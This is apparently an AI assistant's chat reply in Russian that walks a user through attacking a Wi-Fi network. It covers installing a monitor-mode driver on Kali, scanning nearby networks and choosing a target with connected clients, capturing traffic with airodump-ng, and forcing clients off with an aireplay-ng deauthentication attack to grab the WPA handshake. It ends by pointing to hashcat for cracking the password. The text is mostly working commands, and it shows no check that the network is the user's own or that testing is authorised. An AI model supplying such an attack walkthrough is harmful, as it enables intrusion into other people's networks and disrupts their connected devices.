---

Отлично! Адаптер проброшен, базовые настройки в силе. Теперь давай пошагово пройдём путь от «просто свистка в USB» до пойманного хэндшейка на твоём рабочем столе.
Вот твой пошаговый план действий (Roadmap).
### Этап 1. Установка драйвера (в терминале Kali)
Поскольку Kali «из коробки» не умеет переводить этот чип в режим монитора, накатываем правильный драйвер.
 1. **Обнови списки пакетов и поставь зависимости:**
   ```bash
   sudo apt update
   sudo apt install bc build-essential dkms git linux-headers-$(uname -r) -y
   
   ```
 2. **Скачай драйвер с GitHub:**
   ```bash
   git clone https://github.com/morrownr/88x2bu-20210702.git
   
   ```
 3. **Зайди в папку и запусти установщик:**
   ```bash
   cd 88x2bu-20210702
   sudo ./install-driver.sh
   
   ```
   *Во время установки скрипт спросит, хочешь ли ты включить Monitor Mode по умолчанию — вводи Y (Yes).*
 4. **Перезагрузи виртуальную машину:**
   ```bash
   sudo reboot
   
   ```
### Этап 2. Включение режима монитора
После перезагрузки адаптер должен ожить.
 1. **Проверь имя твоего беспроводного интерфейса:**
   ```bash
   iwconfig
   
   ```
   Ты увидишь список. Ищи там что-то вроде wlan0. Запомни это имя.
 2. **Убей процессы, которые могут мешать сканированию** (сетевые менеджеры часто пытаются вернуть адаптер в обычный режим):
   ```bash
   sudo airmon-ng check kill
   
   ```
 3. **Переведи карту в режим монитора:**
   ```bash
   sudo airmon-ng start wlan0
   
   ```
   *(Если имя интерфейса было другим, подставь своё).*
 4. **Проверь еще раз через iwconfig**: имя интерфейса могло измениться на wlan0mon. Теперь мы работаем с ним.
### Этап 3. Охота за хэндшейком (Самое интересное)
**Шаг А: Общая разведка эфира**
Запускаем сканирование всех сетей вокруг:
```bash
sudo airodump-ng wlan0mon

```
На экране побегут строки. Твоя задача — найти нужную Wi-Fi сеть. Смотри на столбцы:
 * **BSSID** — это MAC-адрес роутера (запиши его).
 * **CH** — канал, на котором работает сеть (запиши его).
 * **ESSID** — имя сети.
   В нижней части экрана будут видны **STATION** (подключенные устройства). Убедись, что к твоей цели подключен хотя бы один клиент (смартфон или ноут), иначе хэндшейк поймать не получится.
   *Когда нашел цель, нажми **Ctrl + C**, чтобы остановить сканирование.*
**Шаг Б: Точечная засада**
Теперь заставим адаптер слушать только одну конкретную сеть и записывать всё в файл на рабочий стол:
```bash
sudo airodump-ng --bssid [MAC_РОУТЕРА] -c [КАНАЛ] -w /home/kali/Desktop/handshake wlan0mon

```
*Пример:* sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w /home/kali/Desktop/handshake wlan0mon
Оставь это окно терминала открытым. Оно сейчас «слушает» эфир.
**Шаг В: Атака деаутентификации (Ускоряем процесс)**
Чтобы не ждать часами, пока кто-то сам переподключится к роутеру, мы принудительно «кикнем» устройство из сети на секунду.
 1. Открой **второе (новое) окно терминала**, не закрывая первое.
 2. Отправь быстрый импульс деаут-пакетов:
   ```bash
   sudo aireplay-ng -0 10 -a [MAC_РОУТЕРА] wlan0mon
   
   ```
   -0 10 означает отправить 10 пакетов глушения. Цель «отвалится» и тут же начнет автоматически подключаться обратно.
**Шаг Г: Фиксация добычи**
Посмотри в **первое окно терминала** (где работает airodump-ng).
В самом верхнем правом углу должна появиться заветная надпись:
WPA handshake: AA:BB:CC:DD:EE:FF
Как только увидел эту надпись — победа! Нажимай **Ctrl + C** в обоих терминалах.
### Что в итоге?
На твоем рабочем столе в Kali появятся файлы. Самый главный из них — **handshake-01.cap**.
Это и есть тот самый «слепок» пароля. Дальше, как мы разбирали ранее, ты его конвертируешь через hcxpcapngtool в формат .hc22000, переносишь на основную Windows и запускаешь hashcat.exe на своей мощной видеокарте.
Приступай к Этапу 1. Если на каком-то шаге (особенно с драйвером) выскочит ошибка — кидай сюда текст или скриншот, разберемся!